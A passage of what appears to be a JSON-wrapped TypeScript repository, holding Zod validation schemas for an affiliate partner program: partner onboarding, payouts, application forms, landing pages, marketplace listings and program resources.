settings\n      utm_source: true,\n      utm_medium: true,\n      utm_campaign: true,\n      utm_term: true,\n      utm_content: true,\n      ref: true,\n      // additional unsupported fields\n      publicStats: true,\n      tagId: true,\n      geo: true,\n      webhookIds: true,\n      keyLength: true,\n    })\n    .extend({\n      prefix: z\n        .string()\n        .optional()\n        .describe(\n          \"Path prefix for each default referral link slug (e.g. `/c/` → `https://{domain}/c/{identity}`). If the group has multiple default links, a short random suffix is appended to the identity segment for uniqueness (e.g. `c/jane-a7f2`).\",\n        ),\n    })\n    .partial()\n    .optional()\n    .describe(\n      \"Additional properties that you can pass to the partner's short link. Will be used to override the default link properties for this partner.\",\n    ),\n});\n\n// This is a temporary fix to allow arbitrary image URL\n// TODO: Fix this by using file-type\nconst partnerImageSchema = z.union([\n  base64ImageSchema,\n  storedR2ImageUrlSchema,\n  publicHostedImageSchema,\n  googleFaviconUrlSchema,\n  z.string().nullish(), // make image optional\n]);\n\nexport const onboardPartnerSchema = createPartnerSchema\n  .omit({\n    username: true,\n    email: true,\n    linkProps: true,\n  })\n  .extend({\n    name: z.string().min(1, \"Name is required\"),\n    image: partnerImageSchema,\n    country: z.enum(COUNTRY_CODES),\n    profileType: z.enum(PartnerProfileType).default(\"individual\"),\n    companyName: z.string().nullish(),\n  })\n  .refine(\n    (data) => {\n      if (data.profileType === \"company\") {\n        return !!data.companyName;\n      }\n\n      return true;\n    },\n    {\n      message: \"Legal company name is required.\",\n      path: [\"companyName\"],\n    },\n  )\n  .transform((data) => ({\n    ...data,\n    companyName: data.profileType === \"individual\" ? null : data.companyName,\n  }));\n\nexport const partnerIdTenantIdSchema = z.object({\n  partnerId: z\n    .string()\n    .nullish()\n    .describe(\n      \"The ID of the partner to create a link for. Will take precedence over `tenantId` if provided.\",\n    ),\n  tenantId: z\n    .string()\n    .nullish()\n    .describe(\n      \"The ID of the partner in your system. If both `partnerId` and `tenantId` are not provided, an error will be thrown.\",\n    ),\n});\n\nexport const createPartnerLinkSchema = partnerIdTenantIdSchema\n  .extend({\n    url: parseUrlSchema\n      .describe(\n        \"The URL to shorten (if not provided, the program's default URL will be used). Will throw an error if the domain doesn't match the program's default URL domain.\",\n      )\n      .nullish(),\n    key: z\n      .string()\n      .max(190)\n      .optional()\n      .describe(\n        \"The short link slug. If not provided, a random 7-character slug will be generated.\",\n      ),\n    comments: z.string().nullish().describe(\"The comments for the short link.\"),\n  })\n  .extend(\n    createPartnerSchema.pick({\n      linkProps: true,\n    }).shape,\n  );\n\nexport const upsertPartnerLinkSchema = createPartnerLinkSchema.extend({\n  url: parseUrlSchema.describe(\n    \"The URL to upsert for. Will throw an error if the domain doesn't match the program's default URL domain.\",\n  ),\n});\n\n// For /api/partners/analytics\nexport const partnerAnalyticsQuerySchema = analyticsQuerySchema\n  .pick({\n    partnerId: true,\n    tenantId: true,\n    interval: true,\n    start: true,\n    end: true,\n    timezone: true,\n    query: true,\n  })\n  .extend(partnerIdTenantIdSchema.shape)\n  .extend({\n    groupBy: z\n      .enum([\"top_links\", \"timeseries\", \"count\"])\n      .default(\"count\")\n      .describe(\n        \"The parameter to group the analytics data points by. Defaults to `count` if undefined.\",\n      ),\n  });\n\nconst earningsSchema = z.object({\n  earnings: z.number().default(0),\n});\n\nexport const partnersTopLinksSchema = analyticsResponse[\"top_links\"].extend(\n  earningsSchema.shape,\n);\n\nexport const partnerAnalyticsResponseSchema = {\n  count: analyticsResponse[\"count\"].extend(earningsSchema.shape).meta({\n    title: \"PartnerAnalyticsCount\",\n  }),\n\n  timeseries: analyticsResponse[\"timeseries\"]\n    .extend(earningsSchema.shape)\n    .meta({\n      title: \"PartnerAnalyticsTimeseries\",\n    }),\n\n  top_links: partnersTopLinksSchema.meta({\n    title: \"PartnerAnalyticsTopLinks\",\n  }),\n} as const;\n\nexport const invitePartnerSchema = z.object({\n  workspaceId: z.string(),\n  groupId: z.string().nullish(),\n  name: z.string().max(100).optional(),\n  email: z.email().trim().min(1).max(100),\n  username: z.string().max(100).optional(),\n});\n\nexport const bulkInvitePartnersSchema = z.object({\n  workspaceId: z.string(),\n  groupId: z.string().nullish(),\n  emails: z\n    .array(z.email().trim().min(1).max(100))\n    .min(1)\n    .max(MAX_PARTNERS_INVITES_PER_REQUEST),\n});\n\nexport const approvePartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  groupId: z.string().nullish(),\n});\n\nexport const bulkApprovePartnersSchema = z.object({\n  workspaceId: z.string(),\n  groupId: z.string().nullish().default(null),\n  partnerIds: z\n    .array(z.string())\n    .max(100)\n    .min(1)\n    .transform((v) => [...new Set(v)]),\n});\n\nexport const rejectPartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  reportFraud: z\n    .boolean()\n    .optional()\n    .default(false)\n    .describe(\n      \"Whether to report this partner for suspected fraud to help keep the network safe.\",\n    ),\n});\n\nexport const bulkRejectPartnersSchema = z.object({\n  workspaceId: z.string(),\n  partnerIds: z\n    .array(z.string())\n    .max(100)\n    .min(1)\n    .transform((v) => [...new Set(v)]),\n  reportFraud: z\n    .boolean()\n    .optional()\n    .default(false)\n    .describe(\n      \"Whether to report these partners for suspected fraud to help keep the network safe.\",\n    ),\n});\n\nexport const retrievePartnerLinksSchema = partnerIdTenantIdSchema;\n\nexport const banPartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  reason: z.enum(\n    Object.keys(BAN_PARTNER_REASONS) as [\n      PartnerBannedReason,\n      ...PartnerBannedReason[],\n    ],\n  ),\n});\n\nexport const banPartnerApiSchema = partnerIdTenantIdSchema.extend(\n  banPartnerSchema.pick({ reason: true }).shape,\n);\n\nexport const bulkBanPartnersSchema = z.object({\n  workspaceId: z.string(),\n  partnerIds: z\n    .array(z.string())\n    .max(100)\n    .min(1)\n    .transform((v) => [...new Set(v)]),\n  reason: z.enum(\n    Object.keys(BAN_PARTNER_REASONS) as [\n      PartnerBannedReason,\n      ...PartnerBannedReason[],\n    ],\n  ),\n});\n\nexport const deactivatePartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\nexport const deactivatePartnerApiSchema = partnerIdTenantIdSchema;\n\nexport const archivePartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\nexport const bulkArchivePartnersSchema = z.object({\n  workspaceId: z.string(),\n  partnerIds: z\n    .array(z.string())\n    .max(100)\n    .min(1)\n    .transform((v) => [...new Set(v)]),\n});\n\nexport const bulkDeactivatePartnersSchema = z.object({\n  workspaceId: z.string(),\n  partnerIds: z\n    .array(z.string())\n    .max(100)\n    .min(1)\n    .transform((v) => [...new Set(v)]),\n});\n\nexport const partnerPayoutSettingsSchema = z.object({\n  companyName: z.string().max(190).trim().nullish(),\n  address: z.string().max(500).trim().nullish(),\n  taxId: z.string().max(100).trim().nullish(),\n});\n\nexport const partnerCrossProgramSummarySchema = z.object({\n  totalPrograms: z.number(),\n  activePrograms: z.number(),\n  bannedPrograms: z.number(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/payouts.ts",
    "content": "import { ELIGIBLE_PAYOUTS_MAX_PAGE_SIZE } from \"@/lib/constants/payouts\";\nimport { CUTOFF_PERIOD_ENUM } from \"@/lib/partners/cutoff-period\";\nimport {\n  PartnerPayoutMethod,\n  PayoutMode,\n  PayoutStatus,\n} from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { EnrolledPartnerSchema } from \"./partners\";\nimport { ProgramSchema } from \"./programs\";\nimport { UserSchema } from \"./users\";\n\nexport const createManualPayoutSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string({ error: \"Please select a partner\" }),\n  amount: z\n    .preprocess((val) => {\n      const parsed = parseFloat(val as string);\n      return isNaN(parsed) ? 0 : parsed;\n    }, z.number())\n    .optional(),\n  description: z\n    .string()\n    .max(190, \"Description must be less than 190 characters\")\n    .nullable(),\n});\n\nexport const PAYOUTS_MAX_PAGE_SIZE = 100;\n\nexport const payoutsQuerySchema = z\n  .object({\n    status: z\n      .enum(PayoutStatus)\n      .optional()\n      .describe(\"Filter the list of payouts by their corresponding status.\"),\n    partnerId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of payouts by the associated partner. When specified, takes precedence over `tenantId`.\",\n      ),\n    tenantId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of payouts by the associated partner's `tenantId` (their unique ID within your database).\",\n      ),\n    invoiceId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of payouts by invoice ID (the unique ID of the invoice you receive for each batch payout you process on Dub). Pending payouts will not have an invoice ID.\",\n      ),\n    sortBy: z\n      .enum([\"amount\", \"initiatedAt\", \"paidAt\"])\n      .default(\"amount\")\n      .describe(\"The field to sort the list of payouts by.\"),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .default(\"desc\")\n      .describe(\"The sort order for the list of payouts.\"),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: PAYOUTS_MAX_PAGE_SIZE }));\n\nexport const payoutsCountQuerySchema = payoutsQuerySchema\n  .pick({\n    status: true,\n    partnerId: true,\n    invoiceId: true,\n  })\n  .extend({\n    programId: z.string().optional(),\n    groupBy: z.enum([\"status\"]).optional(),\n    eligibility: z.enum([\"eligible\", \"ineligible\"]).optional(),\n  });\n\nexport const PayoutSchema = z.object({\n  id: z.string(),\n  invoiceId: z.string().nullable(),\n  amount: z.number(),\n  currency: z.string(),\n  status: z.enum(PayoutStatus),\n  description: z.string().nullish(),\n  periodStart: z.date().nullable(),\n  periodEnd: z.date().nullable(),\n  createdAt: z.date(),\n  updatedAt: z.date().optional(),\n  initiatedAt: z.date().nullable(),\n  paidAt: z.date().nullable(),\n  failureReason: z.string().nullish(),\n  mode: z.enum(PayoutMode).nullable(),\n  method: z.enum(PartnerPayoutMethod).nullable(),\n  traceId: z.string().nullish(),\n});\n\nexport const PayoutResponseSchema = PayoutSchema.extend({\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    defaultPayoutMethod: true,\n    payoutsEnabledAt: true,\n    country: true,\n    groupId: true,\n    tenantId: true,\n  }),\n  user: UserSchema.nullish(),\n});\n\nexport const PartnerPayoutResponseSchema = PayoutResponseSchema.omit({\n  partner: true,\n}).extend({\n  program: ProgramSchema.pick({\n    id: true,\n    name: true,\n    slug: true,\n    logo: true,\n    minPayoutAmount: true,\n    payoutMode: true,\n  }),\n});\n\nexport const payoutWebhookEventSchema = PayoutSchema.omit({\n  failureReason: true,\n}).extend({\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    country: true,\n    tenantId: true,\n    status: true,\n  }),\n});\n\nexport const eligiblePayoutsQuerySchema = z\n  .object({\n    cutoffPeriod: CUTOFF_PERIOD_ENUM,\n    selectedPayoutId: z.string().optional(),\n  })\n  .extend(\n    getPaginationQuerySchema({ pageSize: ELIGIBLE_PAYOUTS_MAX_PAGE_SIZE }),\n  );\n\nexport const eligiblePayoutsCountQuerySchema = eligiblePayoutsQuerySchema\n  .extend({\n    excludedPayoutIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n      .optional(),\n  })\n  .omit({\n    page: true,\n    pageSize: true,\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-application-form.ts",
    "content": "import * as z from \"zod/v4\";\nimport { storedR2ImageUrlSchema } from \"./misc\";\n\n// Common schema for all fields\nexport const programApplicationFormFieldCommonSchema = z.object({\n  id: z.string(),\n  label: z.string(),\n  required: z.boolean(),\n});\n\n// Short text field\nexport const programApplicationFormShortTextFieldSchema =\n  programApplicationFormFieldCommonSchema.extend({\n    type: z.literal(\"short-text\"),\n    data: z.object({\n      placeholder: z.string().optional(),\n      maxLength: z.number().optional(),\n    }),\n  });\n\nexport const programApplicationFormShortTextFieldWithValueSchema =\n  programApplicationFormShortTextFieldSchema.extend({\n    value: z.string(),\n  });\n\n// Long text field\nexport const programApplicationFormLongTextFieldSchema =\n  programApplicationFormFieldCommonSchema.extend({\n    type: z.literal(\"long-text\"),\n    data: z.object({\n      placeholder: z.string().optional(),\n      maxLength: z.number().optional(),\n    }),\n  });\n\nexport const programApplicationFormLongTextFieldWithValueSchema =\n  programApplicationFormLongTextFieldSchema.extend({\n    value: z.string(),\n  });\n\n// Select field\nexport const programApplicationFormSelectOptionSchema = z.object({\n  id: z.string(),\n  value: z.string(),\n});\n\nexport const programApplicationFormSelectFieldSchema =\n  programApplicationFormFieldCommonSchema.extend({\n    type: z.literal(\"select\"),\n    data: z.object({\n      options: z.array(programApplicationFormSelectOptionSchema),\n    }),\n  });\n\nexport const programApplicationFormMultipleChoiceOptionSchema = z.object({\n  id: z.string(),\n  value: z.string(),\n});\n\nexport const programApplicationFormSelectFieldWithValueSchema =\n  programApplicationFormSelectFieldSchema.extend({\n    value: z.string(),\n  });\n\n// Multiple-choice field\nexport const programApplicationFormMultipleChoiceData = z.object({\n  multiple: z.literal(true),\n  options: z.array(programApplicationFormMultipleChoiceOptionSchema),\n});\n\nexport const programApplicationFormSingleChoiceData = z.object({\n  multiple: z.literal(false),\n  options: z.array(programApplicationFormMultipleChoiceOptionSchema),\n});\n\nexport const programApplicationFormMultipleChoiceFieldSchema =\n  programApplicationFormFieldCommonSchema.extend({\n    type: z.literal(\"multiple-choice\"),\n    data: z.discriminatedUnion(\"multiple\", [\n      programApplicationFormMultipleChoiceData,\n      programApplicationFormSingleChoiceData,\n    ]),\n  });\n\nexport const programApplicationFormMultipleChoiceFieldWithValueSchema =\n  programApplicationFormMultipleChoiceFieldSchema.extend({\n    value: z.union([z.array(z.string()), z.string()]),\n  });\n\n// Website and socials field\nexport const programApplicationFormSiteSchema = z.object({\n  type: z.enum([\n    \"website\",\n    \"youtube\",\n    \"twitter\",\n    \"linkedin\",\n    \"instagram\",\n    \"tiktok\",\n  ]),\n  required: z.boolean(),\n});\n\nexport const programApplicationFormSiteSchemaWithValue =\n  programApplicationFormSiteSchema.extend({\n    value: z.string(),\n  });\n\nexport const programApplicationFormWebsiteAndSocialsFieldSchema = z.object({\n  id: z.string(),\n  type: z.literal(\"website-and-socials\"),\n  data: z.array(programApplicationFormSiteSchema),\n});\n\nexport const programApplicationFormWebsiteAndSocialsFieldWithValueSchema =\n  programApplicationFormWebsiteAndSocialsFieldSchema.extend({\n    id: z.string(),\n    type: z.literal(\"website-and-socials\"),\n    data: z.array(programApplicationFormSiteSchemaWithValue),\n  });\n\n// Image upload field\nexport const programApplicationFormImageUploadFieldSchema =\n  programApplicationFormFieldCommonSchema.extend({\n    type: z.literal(\"image-upload\"),\n    data: z.object({\n      maxImages: z.number(),\n    }),\n  });\n\nexport const programApplicationFormImageUploadFieldWithValueSchema =\n  programApplicationFormImageUploadFieldSchema.extend({\n    value: z.array(storedR2ImageUrlSchema),\n  });\n\n// All fields\nexport const programApplicationFormFieldSchema = z.discriminatedUnion(\"type\", [\n  programApplicationFormShortTextFieldSchema,\n  programApplicationFormLongTextFieldSchema,\n  programApplicationFormSelectFieldSchema,\n  programApplicationFormMultipleChoiceFieldSchema,\n  programApplicationFormWebsiteAndSocialsFieldSchema,\n  programApplicationFormImageUploadFieldSchema,\n]);\n\nexport const programApplicationFormFieldWithValuesSchema = z.discriminatedUnion(\n  \"type\",\n  [\n    programApplicationFormShortTextFieldWithValueSchema,\n    programApplicationFormLongTextFieldWithValueSchema,\n    programApplicationFormSelectFieldWithValueSchema,\n    programApplicationFormMultipleChoiceFieldWithValueSchema,\n    programApplicationFormWebsiteAndSocialsFieldWithValueSchema,\n    programApplicationFormImageUploadFieldWithValueSchema,\n  ],\n);\n\nexport const programApplicationFormFieldsSchema = z.array(\n  programApplicationFormFieldSchema,\n);\n\nexport const programApplicationFormFieldsWithValuesSchema = z.array(\n  programApplicationFormFieldWithValuesSchema,\n);\n\n// Full form schema\nexport const programApplicationFormSchema = z.object({\n  label: z.string().optional(),\n  title: z.string().optional(),\n  description: z.string().optional(),\n  fields: programApplicationFormFieldsSchema,\n});\n\nexport const programApplicationFormDataSchema =\n  programApplicationFormSchema.extend({\n    fields: programApplicationFormFieldsWithValuesSchema,\n  });\n\nexport const programApplicationFormDataWithValuesSchema = z.object({\n  fields: programApplicationFormFieldsWithValuesSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-application.ts",
    "content": "import * as z from \"zod/v4\";\nimport {\n  EnrolledPartnerSchema,\n  PartnerPartnerPlatformsSchema,\n} from \"./partners\";\nimport { ProgramEnrollmentSchema } from \"./programs\";\n\nexport const partnerApplicationWebhookSchema = z.object({\n  id: z.string(),\n  createdAt: z.coerce.date(),\n  partner: EnrolledPartnerSchema.pick({\n    id: true,\n    name: true,\n    companyName: true,\n    email: true,\n    image: true,\n    description: true,\n    country: true,\n  })\n    .extend(\n      ProgramEnrollmentSchema.pick({\n        groupId: true,\n        status: true,\n      }).shape,\n    )\n    .extend(\n      PartnerPartnerPlatformsSchema.pick({\n        website: true,\n        youtube: true,\n        twitter: true,\n        linkedin: true,\n        instagram: true,\n        tiktok: true,\n      }).shape,\n    ),\n  applicationFormData: z\n    .array(\n      z.object({\n        label: z.string(),\n        value: z.string().nullable(),\n      }),\n    )\n    .nullable(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-embed.ts",
    "content": "import * as z from \"zod/v4\";\nimport { programLanderAccordionItemSchema } from \"./program-lander\";\n\nexport const programEmbedSchema = z\n  .object({\n    faq: z.array(programLanderAccordionItemSchema).nullish(),\n    leaderboard: z\n      .object({\n        mode: z.enum([\"enabled\", \"disabled\"]).default(\"enabled\"),\n      })\n      .nullish(),\n    hidePoweredByBadge: z.boolean().default(false),\n  })\n  .nullish();\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-invite-email.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const programInviteEmailDataSchema = z\n  .object({\n    subject: z.string(),\n    title: z.string(),\n    body: z.string(),\n  })\n  .nullish();\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-lander.ts",
    "content": "import * as z from \"zod/v4\";\n\nconst programLanderBlockTitleSchema = z.string().optional();\n\nexport const programLanderBlockCommonSchema = z.object({\n  id: z.string(),\n});\n\nexport const programLanderImageBlockSchema =\n  programLanderBlockCommonSchema.extend({\n    type: z.literal(\"image\"),\n    data: z.object({\n      url: z.url(),\n      alt: z.string().optional(),\n      width: z.number().optional(),\n      height: z.number().optional(),\n    }),\n  });\n\nexport const programLanderTextBlockSchema =\n  programLanderBlockCommonSchema.extend({\n    type: z.literal(\"text\"),\n    data: z.object({\n      title: programLanderBlockTitleSchema,\n      content: z.string(),\n    }),\n  });\n\nexport const programLanderFileSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  description: z.string().optional(),\n  url: z\n    .url()\n    .refine((url) => url.startsWith(\"http://\") || url.startsWith(\"https://\"), {\n      message: \"Only HTTP and HTTPS URLs are allowed for files.\",\n    }),\n  external: z.boolean().optional(), // TODO: not using this atm, might wanna change this to `downloadable` boolean instead\n});\n\nexport const programLanderFilesBlockSchema =\n  programLanderBlockCommonSchema.extend({\n    type: z.literal(\"files\"),\n    data: z.object({\n      title: programLanderBlockTitleSchema,\n      items: z.array(programLanderFileSchema),\n    }),\n  });\n\nexport const programLanderAccordionItemSchema = z.object({\n  id: z.string(),\n  title: z.string(),\n  content: z.string(),\n});\n\nexport const programLanderAccordionBlockSchema =\n  programLanderBlockCommonSchema.extend({\n    type: z.literal(\"accordion\"),\n    data: z.object({\n      title: programLanderBlockTitleSchema,\n      items: z.array(programLanderAccordionItemSchema),\n    }),\n  });\n\nexport const programLanderEarningsCalculatorBlockSchema =\n  programLanderBlockCommonSchema.extend({\n    type: z.literal(\"earnings-calculator\"),\n    data: z.object({\n      productPrice: z.number().describe(\"Average product price in cents\"),\n      billingPeriod: z.enum([\"monthly\", \"yearly\", \"one-time\"]).optional(),\n    }),\n  });\n\nexport const programLanderBlockSchema = z.discriminatedUnion(\"type\", [\n  programLanderImageBlockSchema,\n  programLanderTextBlockSchema,\n  programLanderFilesBlockSchema,\n  programLanderAccordionBlockSchema,\n  programLanderEarningsCalculatorBlockSchema,\n]);\n\nexport const programLanderRewardsSchema = z.object({\n  saleRewardId: z.string().or(z.literal(\"none\")).optional(),\n  leadRewardId: z.string().or(z.literal(\"none\")).optional(),\n  clickRewardId: z.string().or(z.literal(\"none\")).optional(),\n  discountId: z.string().or(z.literal(\"none\")).optional(),\n});\n\nexport const programLanderSchema = z.object({\n  label: z.string().optional(),\n  title: z.string().optional(),\n  description: z.string().optional(),\n  blocks: z.array(programLanderBlockSchema),\n});\n\n// Simpler schemas for AI generation\nexport const programLanderSimpleBlockSchema = z.discriminatedUnion(\"type\", [\n  programLanderImageBlockSchema,\n  programLanderTextBlockSchema,\n  programLanderAccordionBlockSchema,\n  programLanderEarningsCalculatorBlockSchema,\n]);\n\nexport const programLanderSimpleSchema = z.object({\n  blocks: z.array(programLanderSimpleBlockSchema),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-network.ts",
    "content": "import { Category, ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { DiscountSchema } from \"./discount\";\nimport { GroupBountySummarySchema } from \"./group-bounties\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { programLanderSchema } from \"./program-lander\";\nimport { ProgramSchema } from \"./programs\";\n\nexport const NetworkProgramSchema = ProgramSchema.pick({\n  id: true,\n  slug: true,\n  defaultGroupId: true,\n  name: true,\n  logo: true,\n  domain: true,\n  url: true,\n  description: true,\n  rewards: true,\n  termsUrl: true,\n  applicationRequirements: true,\n}).extend({\n  discount: DiscountSchema.nullish(),\n  categories: z.array(z.enum(Category)),\n  featuredOnMarketplaceAt: z.date().nullable(),\n  marketplaceHeaderImage: z.string().nullable(),\n});\n\nexport const NetworkProgramExtendedSchema = NetworkProgramSchema.extend({\n  landerData: programLanderSchema.nullable(),\n  bounties: z.array(GroupBountySummarySchema).optional(),\n});\n\nexport const PROGRAM_NETWORK_MAX_PAGE_SIZE = 100;\n\nconst rewardTypes = [\"sale\", \"lead\", \"click\", \"discount\"] as const;\nconst rewardTypeSchema = z.enum(rewardTypes);\n\nexport const getNetworkProgramsQuerySchema = z\n  .object({\n    category: z.enum(Category).optional(),\n    rewardType: z\n      .union([z.string(), z.array(rewardTypeSchema)])\n      .transform((v) =>\n        Array.isArray(v)\n          ? v\n          : v.split(\",\").filter((v) => rewardTypes.includes(v as any)),\n      )\n      .optional(),\n    status: z.preprocess(\n      (v) => (v === \"null\" ? null : v),\n      z.enum(ProgramEnrollmentStatus).nullish(),\n    ),\n    featured: z.coerce.boolean().optional(),\n    search: z.string().optional(),\n    sortBy: z.enum([\"name\", \"recency\", \"popularity\"]).default(\"popularity\"),\n    sortOrder: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n  })\n  .extend(\n    getPaginationQuerySchema({ pageSize: PROGRAM_NETWORK_MAX_PAGE_SIZE }),\n  );\n\nexport const getNetworkProgramsCountQuerySchema = getNetworkProgramsQuerySchema\n  .omit({\n    page: true,\n    pageSize: true,\n  })\n  .extend({\n    groupBy: z.enum([\"category\", \"rewardType\", \"status\"]).optional(),\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-onboarding.ts",
    "content": "import { PROGRAM_ONBOARDING_PARTNERS_LIMIT } from \"@/lib/constants/program\";\nimport { PartnerLinkStructure, RewardStructure } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { maxDurationSchema } from \"./misc\";\nimport { updateProgramSchema } from \"./programs\";\nimport {\n  FLAT_REWARD_AMOUNT_SCHEMA,\n  PERCENTAGE_REWARD_AMOUNT_SCHEMA,\n} from \"./rewards\";\nimport { parseUrlSchema } from \"./utils\";\n\n// Getting started\nexport const programInfoSchema = z.object({\n  name: z.string().max(100),\n  logo: z.string(),\n  domain: z.string(),\n  url: parseUrlSchema.nullable(),\n  linkStructure: z.enum(PartnerLinkStructure).default(\"short\"),\n  linkParameter: z.string().nullish(),\n});\n\n// Configure rewards\nexport const programRewardSchema = z.object({\n  defaultRewardType: z.enum([\"lead\", \"sale\"]).default(\"lead\"),\n  type: z.enum(RewardStructure).nullish(),\n  amountInCents: FLAT_REWARD_AMOUNT_SCHEMA.nullish(),\n  amountInPercentage: PERCENTAGE_REWARD_AMOUNT_SCHEMA.nullish(),\n  maxDuration: maxDurationSchema,\n});\n\n// Invite partners\nexport const programInvitePartnersSchema = z.object({\n  partners: z\n    .array(\n      z.object({\n        email: z.email({ error: \"Please enter a valid email\" }),\n      }),\n    )\n    .max(\n      PROGRAM_ONBOARDING_PARTNERS_LIMIT,\n      `You can only invite up to ${PROGRAM_ONBOARDING_PARTNERS_LIMIT} partners.`,\n    )\n    .nullish()\n    .transform(\n      (partners) => partners?.filter((partner) => partner.email.trim()) || null,\n    ),\n});\n\n// Help and support\nexport const programSupportSchema = updateProgramSchema.pick({\n  supportEmail: true,\n  helpUrl: true,\n  termsUrl: true,\n});\n\nexport const onboardingStepSchema = z.enum([\n  \"get-started\",\n  \"configure-reward\",\n  \"invite-partners\",\n  \"help-and-support\",\n  \"create-program\",\n]);\n\nexport const programDataSchema = programInfoSchema.extend({\n  ...programRewardSchema.shape,\n  ...programInvitePartnersSchema.shape,\n  ...programSupportSchema.shape,\n  lastCompletedStep: onboardingStepSchema.nullish(), // The last step that was completed\n  currentStep: onboardingStepSchema.nullish(), // The current step when saving and exiting\n});\n\nexport const onboardProgramSchema = z.discriminatedUnion(\"step\", [\n  programInfoSchema.extend({\n    step: z.literal(\"get-started\"),\n    workspaceId: z.string(),\n  }),\n\n  programRewardSchema.extend({\n    step: z.literal(\"configure-reward\"),\n    workspaceId: z.string(),\n  }),\n\n  programInvitePartnersSchema.extend({\n    step: z.literal(\"invite-partners\"),\n    workspaceId: z.string(),\n  }),\n\n  programSupportSchema.extend({\n    step: z.literal(\"help-and-support\"),\n    workspaceId: z.string(),\n  }),\n\n  z.object({\n    step: z.literal(\"create-program\"),\n    workspaceId: z.string(),\n  }),\n\n  programDataSchema.partial().extend({\n    step: z.literal(\"save-and-exit\"),\n    workspaceId: z.string(),\n  }),\n]);\n\nexport const PROGRAM_ONBOARDING_STEPS = [\n  {\n    stepNumber: 1,\n    label: \"Getting started\",\n    href: \"/program/new\",\n    step: \"get-started\",\n  },\n  {\n    stepNumber: 2,\n    label: \"Configure rewards\",\n    href: \"/program/new/rewards\",\n    step: \"configure-reward\",\n  },\n  {\n    stepNumber: 3,\n    label: \"Invite partners\",\n    href: \"/program/new/partners\",\n    step: \"invite-partners\",\n  },\n  {\n    stepNumber: 4,\n    label: \"Help and Support\",\n    href: \"/program/new/support\",\n    step: \"help-and-support\",\n  },\n  {\n    stepNumber: 5,\n    label: \"Overview\",\n    href: \"/program/new/overview\",\n    step: \"create-program\",\n  },\n] as const;\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/program-resources.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const PROGRAM_RESOURCE_TYPES = [\n  \"logo\",\n  \"file\",\n  \"color\",\n  \"link\",\n] as const;\n\nexport type ProgramResourceType = (typeof PROGRAM_RESOURCE_TYPES)[number];\n\nexport const programResourceFileSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  size: z.number(),\n  url: z.url(),\n});\n\nexport const programResourceColorSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  color: z.string(),\n});\n\nexport const programResourceLinkSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  url: z.url(),\n});\n\nexport const programResourcesSchema = z.object({\n  logos: z.array(programResourceFileSchema),\n  colors: z.array(programResourceColorSchema),\n  files: z.array(programResourceFileSchema),\n  links: z.array(programResourceLinkSchema).default([]),\n});\n\nexport type ProgramResourceFile = z.infer<typeof programResourceFileSchema>;\nexport type ProgramResourceColor = z.infer<typeof programResourceColorSchema>;\nexport type ProgramResourceLink = z.infer<typeof programResourceLinkSchema>;\nexport type ProgramResources = z.infer<typeof programResourcesSchema>;\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/programs.ts",
    "content": "import {\n  DATE_RANGE_INTERVAL_PRESETS,\n  DUB_PARTNERS_ANALYTICS_INTERVAL,\n} from \"@/lib/analytics/constants\";\nimport {\n  ALLOWED_MIN_PAYOUT_AMOUNTS,\n  PAYOUT_HOLDING_PERIOD_DAYS,\n} from \"@/lib/constants/payouts\";\nimport {\n  Category,\n  EventType,\n  PartnerBannedReason,\n  ProgramEnrollmentStatus,\n  ProgramPayoutMode,\n} from \"@dub/prisma/client\";\nimport { COUNTRY_CODES } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { DiscountSchema } from \"./discount\";\nimport { GroupSchema } from \"./groups\";\nimport { LinkSchema } from \"./links\";\nimport { programApplicationFormDataWithValuesSchema } from \"./program-application-form\";\nimport { programInviteEmailDataSchema } from \"./program-invite-email\";\nimport { referralFormSchema } from \"./referral-form\";\nimport { RewardSchema } from \"./rewards\";\nimport { UserSchema } from \"./users\";\nimport { centsSchemaWithDefault, parseDateSchema } from \"./utils\";\n\nexport const eligibilityConditionSchema = z\n  .object({\n    key: z.enum([\"country\", \"emailDomain\"]),\n    operator: z.enum([\"is\", \"is_not\"]),\n    value: z.array(z.string()).min(1),\n  })\n  .transform((data) => {\n    if (data.key === \"emailDomain\") {\n      return {\n        ...data,\n        value: data.value.map((v) => {\n          const t = v.trim().toLowerCase();\n          return t.startsWith(\"@\") ? t : `@${t}`;\n        }),\n      };\n    }\n    return 